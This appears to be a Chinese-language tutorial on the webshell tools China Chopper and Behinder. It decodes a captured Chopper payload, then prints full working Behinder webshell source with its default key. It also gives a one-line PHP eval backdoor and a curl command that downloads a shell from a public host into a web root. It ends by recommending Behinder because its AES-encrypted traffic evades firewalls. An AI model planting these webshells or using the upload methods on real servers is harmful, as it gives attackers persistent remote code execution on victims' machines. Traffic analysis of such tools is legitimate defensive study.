菜刀和冰蝎
一、中国菜刀
1、必须提前已经完成了木马的植入,然后才能使用
2、木马必须是POST请求,参数自定义,在菜刀里给出正确的参数
属于辅助工具,并且菜刀的传输过程只是用了base64编码,基本相当于明文传输,目前都已经被WAF防住了
我们在使用菜刀过程中武士俑wireshark看看
比如文件管理操作时
点击目录进行浏览和虚拟终端等操作时:
我们可以看到流量情况,就是一个TCP三次握手然后发送POST的HTTP请求,然后再TCP四次挥手
而我们可以看到post的数据中的值为
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9Jy9vcHQvbGVhcm4vJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7
这是一段base64的编码,解码回来之后就是:
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='/opt/learn/';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
这不就是一段php代码,因此很容易被防火墙封杀
二、Behinder冰蝎
要想成功使用冰蝎链接主机,我们需要将冰蝎马上传至目标主机,也就是
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
这个文件。
- 上传冰蝎马的方法:
- 我们可以先写一个小马
<? php eval($_POST['a']); ?>
上传至目标主机然后再利用菜刀上传文件。 - 如果不行,我们可以利用已经上传的小马执行系统指令,比如
curl http://xxxx > /opt/lampp/htdocs/security/temp/shell.php
但是这需要我们有一个公网地址,我们可以先将冰蝎马上传到公网,比如gitee或自己的公网服务器等地方,然后再去访问下载。 - 在命令行运行命令按行写入
echo xxx;
- 直接利用文件上传漏洞上传冰蝎马
- 我们可以先写一个小马
其中冰蝎马的密码默认是rebeyond。上传好了之后再进行连接信息配置,然后再打开这个连接就可以了。
我们也可以自己修改,但是需要将$key的值也同时修改
接下来的操作就和菜刀类似,不过冰蝎的流量情况使用了AES加密,很难被防火墙发现,因此更受欢迎。
我们可以看到这个加密的结果就不是那么容易恢复的了